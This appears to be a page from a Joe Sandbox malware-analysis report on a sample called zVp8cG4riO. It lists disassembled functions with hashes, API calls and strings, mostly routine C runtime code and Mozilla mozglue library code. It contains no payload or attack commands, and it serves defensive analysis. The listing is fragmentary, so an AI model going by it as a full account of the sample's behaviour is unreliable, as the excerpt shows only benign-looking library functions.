Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction ID: c6f7844e31e08284677b4dd1e8a8deb958c211ea86eb5debe3a5632093165fff
Opcode Fuzzy Hash: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction Fuzzy Hash: E5B26D71B05A01CFD708CF2DC590A15BBE2BFC5324B29C7ADE8698B6A5D771E841CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6CD485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD48C7C
__aulldiv.LIBCMT ref: 6CD48DD7

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 4eee0ef6eecc047571100c52f150a06693ffe060198e9347979d39412a68abe2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A8326C71F011198BDF18CF9CC8A17AEB7B2FB88340F15852AD606FB7A4DA349D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD25C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CCF4A63,?,?), ref: 6CD25F06

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction ID: 104a7af53bbac46169f44f8b900d877137956f6f476c44cb73d235898f965e0a
Opcode Fuzzy Hash: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction Fuzzy Hash: 05C1D375D01209CBCB14CF55C190AEEBBF2FF8A318F28815DD9556BB58E736A805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00419DC7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019D85), ref: 00419DCC

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction ID: a2f7eb20247afb77339b0084df5ee2fab041c51b9664aeb6610f0aa757957e44
Opcode Fuzzy Hash: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction Fuzzy Hash: 0290027069124446460057B06C1D6966A95AA8C60679144E5E125C405DEB644448555D

Uniqueness

Uniqueness Score: -1.00%

Function 6CD576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: aee9dffd717466164c8ee57be1a91744c193b7432408eb7432dd5745ce3fca93
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 9E321871E10619CFCF14CF98C880AADFBB2BF88304FA58169C459A7755D731A996CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD10512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3b3de164a2cd7f01dd44c83a82e121dd96ac60a3c00acfed36eeb8cc2f89c31e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 1E221671E04669CFDB14CF98D890AADF7B2FF88304F548299D44AA7B15D730A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction ID: e3795ad9fd58464f6746a6a82bbbaeb257cd5fd5d41619d24d9c3888d67f4eb6
Opcode Fuzzy Hash: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction Fuzzy Hash: 24F137716083559FDF00CF28C8807BAB7E2AFC5318F948A1DE4D9877E1E375985587A2

Uniqueness

Uniqueness Score: -1.00%

Function 00415DC0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Uniqueness

Uniqueness Score: -1.00%

Function 0041952A Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041953E

Part of subcall function 00417247: HeapFree.KERNEL32(00000000,00000000,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041725D
Part of subcall function 00417247: GetLastError.KERNEL32(?,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041726F

_free.LIBCMT ref: 00419546
_free.LIBCMT ref: 0041954E
_free.LIBCMT ref: 00419556
_free.LIBCMT ref: 0041955E
_free.LIBCMT ref: 00419566
_free.LIBCMT ref: 0041956D
_free.LIBCMT ref: 00419575
_free.LIBCMT ref: 0041957D
_free.LIBCMT ref: 00419585
_free.LIBCMT ref: 0041958D
_free.LIBCMT ref: 00419595
_free.LIBCMT ref: 0041959D
_free.LIBCMT ref: 004195A5
_free.LIBCMT ref: 004195AD
_free.LIBCMT ref: 004195B5
_free.LIBCMT ref: 004195C0
_free.LIBCMT ref: 004195C8
_free.LIBCMT ref: 004195D0
_free.LIBCMT ref: 004195D8
_free.LIBCMT ref: 004195E0
_free.LIBCMT ref: 004195E8
_free.LIBCMT ref: 004195F0
_free.LIBCMT ref: 004195F8
_free.LIBCMT ref: 00419600
_free.LIBCMT ref: 00419608
_free.LIBCMT ref: 00419610
_free.LIBCMT ref: 00419618
_free.LIBCMT ref: 00419620
_free.LIBCMT ref: 00419628
_free.LIBCMT ref: 00419630
_free.LIBCMT ref: 00419638
_free.LIBCMT ref: 00419646
_free.LIBCMT ref: 00419651
_free.LIBCMT ref: 0041965C
_free.LIBCMT ref: 00419667
_free.LIBCMT ref: 00419672
_free.LIBCMT ref: 0041967D
_free.LIBCMT ref: 00419688
_free.LIBCMT ref: 00419693
_free.LIBCMT ref: 0041969E
_free.LIBCMT ref: 004196A9
_free.LIBCMT ref: 004196B4
_free.LIBCMT ref: 004196BF
_free.LIBCMT ref: 004196CA
_free.LIBCMT ref: 004196D5
_free.LIBCMT ref: 004196E0
_free.LIBCMT ref: 004196EB
_free.LIBCMT ref: 004196F9
_free.LIBCMT ref: 00419704
_free.LIBCMT ref: 0041970F
_free.LIBCMT ref: 0041971A
_free.LIBCMT ref: 00419725
_free.LIBCMT ref: 00419730
_free.LIBCMT ref: 0041973B
_free.LIBCMT ref: 00419746
_free.LIBCMT ref: 00419751
_free.LIBCMT ref: 0041975C
_free.LIBCMT ref: 00419767
_free.LIBCMT ref: 00419772
_free.LIBCMT ref: 0041977D
_free.LIBCMT ref: 00419788
_free.LIBCMT ref: 00419793
_free.LIBCMT ref: 0041979E
_free.LIBCMT ref: 004197AC
_free.LIBCMT ref: 004197B7
_free.LIBCMT ref: 004197C2
_free.LIBCMT ref: 004197CD
_free.LIBCMT ref: 004197D8
_free.LIBCMT ref: 004197E3
_free.LIBCMT ref: 004197EE
_free.LIBCMT ref: 004197F9
_free.LIBCMT ref: 00419804
_free.LIBCMT ref: 0041980F
_free.LIBCMT ref: 0041981A
_free.LIBCMT ref: 00419825
_free.LIBCMT ref: 00419830
_free.LIBCMT ref: 0041983B
_free.LIBCMT ref: 00419846
_free.LIBCMT ref: 00419851
_free.LIBCMT ref: 0041985F
_free.LIBCMT ref: 0041986A
_free.LIBCMT ref: 00419875
_free.LIBCMT ref: 00419880
_free.LIBCMT ref: 0041988B
_free.LIBCMT ref: 00419896

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: 5df7b21d12798ad2dd02b2714939a7e9e3589bb161cd2ca89e36415dbd51ea28
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: AE71E331494B009BD7633B32DD03ADA7AB27F04304F10596EB1FB20632DA3678E79A59

Uniqueness

Uniqueness Score: -1.00%

Function 6CD455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CD1E1A5), ref: 6CD45606
LoadLibraryW.KERNEL32(gdi32,?,6CD1E1A5), ref: 6CD4560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CD45633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CD4563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CD4566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CD4567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CD45696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CD456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CD456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CD456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CD456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CD45716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CD4572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CD45748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CD45761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CD4577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CD45793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CD457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CD457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CD457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CD457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CD457FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6CD4562D
SetWindowLongPtrW, xrefs: 6CD457B7
DeleteObject, xrefs: 6CD457F9
AreDpiAwarenessContextsEqual, xrefs: 6CD45637
ReleaseDC, xrefs: 6CD45742
GetDpiForWindow, xrefs: 6CD45690
RegisterClassW, xrefs: 6CD456AC
GetWindowDC, xrefs: 6CD45710
gdi32, xrefs: 6CD4560A
SetWindowPos, xrefs: 6CD456F7
CreateSolidBrush, xrefs: 6CD457E4
StretchDIBits, xrefs: 6CD457CC
MonitorFromWindow, xrefs: 6CD4578D
user32, xrefs: 6CD45601
EnableNonClientDpiScaling, xrefs: 6CD45666
ShowWindow, xrefs: 6CD456DE
LoadCursorW, xrefs: 6CD45774
CreateWindowExW, xrefs: 6CD456C5
GetMonitorInfoW, xrefs: 6CD457A2
LoadIconW, xrefs: 6CD4575B
FillRect, xrefs: 6CD45729
GetSystemMetricsForDpi, xrefs: 6CD45677

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction ID: ded32634a784e821f1f6230e8ab76dbb5dd3c1ad2961318a350cc642bceb39f8
Opcode Fuzzy Hash: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction Fuzzy Hash: DD51F075651712AFBB015F378D54A367ABCAB06245F10842ABB51E2AA2FF74DC04CF70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CCF582D), ref: 6CD2CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CCF582D), ref: 6CD2CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD5FE98,?,?,?,?,?,6CCF582D), ref: 6CD2CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CD2CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CD2CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CD2CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CD2CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CD2CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CD2CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CD2CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CD2CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CD2CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CD2CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CD2CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CD2CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CD2CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CD2CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CD2CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CD2CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CD2CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CD2CE8A

Strings

samplingallthreads, xrefs: 6CD2CE2C
fileio, xrefs: 6CD2CC92
noiostacks, xrefs: 6CD2CCBE
unregisteredthreads, xrefs: 6CD2CE58
fileioall, xrefs: 6CD2CCA8
java, xrefs: 6CD2CC37
leaf, xrefs: 6CD2CC66
cpuallthreads, xrefs: 6CD2CE16
seqstyle, xrefs: 6CD2CCE6
notimerresolutionchange, xrefs: 6CD2CE00
power, xrefs: 6CD2CE84
audiocallbacktracing, xrefs: 6CD2CDD4
Unrecognized feature "%s"., xrefs: 6CD2CEA0
jsallocations, xrefs: 6CD2CD0E
default, xrefs: 6CD2CC21
markersallthreads, xrefs: 6CD2CE42
ipcmessages, xrefs: 6CD2CDBE
mainthreadio, xrefs: 6CD2CC7C
preferencereads, xrefs: 6CD2CD92
processcpu, xrefs: 6CD2CE6E
stackwalk, xrefs: 6CD2CCF8
nativeallocations, xrefs: 6CD2CDA8
nostacksampling, xrefs: 6CD2CD7C
screenshots, xrefs: 6CD2CCD4

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction ID: 76873674676fa9d40ea9fe720322936cb6a1463e0f7043e0c94debf8a7fed3b3
Opcode Fuzzy Hash: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction Fuzzy Hash: 495189C1A4522952FF0033156D10BAA2445EBD728EF504436DF49A5EB1FB0DEE2DC5B7

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCF4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CCF44B2,6CD6E21C,6CD6F7F8), ref: 6CCF473E
Part of subcall function 6CCF4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CCF474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CCF44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CCF44D2
InitOnceExecuteOnce.KERNEL32(6CD6F80C,6CCEF240,?,?), ref: 6CCF451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF455C
LoadLibraryW.KERNEL32(?), ref: 6CCF4592
InitializeCriticalSection.KERNEL32(6CD6F770), ref: 6CCF45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CCF45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CCF45BB
InitOnceExecuteOnce.KERNEL32(6CD6F818,6CCEF240,?,?), ref: 6CCF4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CCF4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CCF4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF466D
VerSetConditionMask.NTDLL ref: 6CCF469F
VerSetConditionMask.NTDLL ref: 6CCF46AB
VerSetConditionMask.NTDLL ref: 6CCF46B2
VerSetConditionMask.NTDLL ref: 6CCF46B9
VerSetConditionMask.NTDLL ref: 6CCF46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CCF46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CCF46FD

Strings

l, xrefs: 6CCF4578
kernel32.dll, xrefs: 6CCF44CD
WRusr.dll, xrefs: 6CCF44B5
user32.dll, xrefs: 6CCF4557, 6CCF463F
NativeNtBlockSet_Write, xrefs: 6CCF46F7

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction ID: 98d2e79864b96562aee835fe2b5ebc38f03dfd382a5570da27f938f87a975554
Opcode Fuzzy Hash: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction Fuzzy Hash: 5E61F6B0604244AFFB10EF62CD05BA5BBBCFF46308F148559E6149BAA1E7B09946CF71

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F70E
